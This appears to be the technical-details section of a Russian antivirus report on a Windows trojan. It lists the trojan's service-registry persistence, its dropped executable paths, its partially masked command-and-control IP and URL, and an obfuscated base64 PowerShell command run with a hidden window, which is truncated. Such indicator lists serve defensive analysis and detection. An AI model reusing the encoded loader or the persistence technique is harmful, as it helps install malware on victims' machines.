Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\ureg] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\ureg] 'ImagePath' = '"%WINDIR%\SysWOW64\openfiles\ureg.exe"'
- 'ureg' "%WINDIR%\SysWOW64\openfiles\ureg.exe"
- 'ureg' %WINDIR%\SysWOW64\openfiles\ureg.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABFAHgAcgBoAF8AeQB2AD0AKAAoACcAWgAnACsAJwA1AGIAeABzACcAKQArACcAMAByACcAKQA7AC4AKAAnAG4AZQB3AC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAEUATgB2ADoAdQBzAGUAcgBwAHIAbwBmAEkAbABFAFwAYwBzADcAMgAyAEUAOABcAH...
- %HOMEPATH%\cs722e8\u87fwa6\pp7rcm.exe
- %WINDIR%\syswow64\openfiles\ureg.exe
- %HOMEPATH%\cs722e8\u87fwa6\pp7rcm.exe в %WINDIR%\syswow64\openfiles\ureg.exe
- '50.##1.220.50':80
- http://nn##tv.com/newsletter/hDT/
- http://50.##1.220.50/hNI4Qo4E38MI/zLWiIsEzK4zj1G4/cV8uXh/
- DNS ASK nn##tv.com
- '%HOMEPATH%\cs722e8\u87fwa6\pp7rcm.exe'
- '%WINDIR%\syswow64\openfiles\ureg.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABFAHgAcgBoAF8AeQB2AD0AKAAoACcAWgAnACsAJwA1AGIAeABzACcAKQArACcAMAByACcAKQA7AC4AKAAnAG4AZQB3AC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAEUATgB2ADoAdQBzAGUAcgBwAHIAbwBmAEkAbABFAFwAYwBzADcAMgAyAEUAOABcAH...' (со скрытым окном)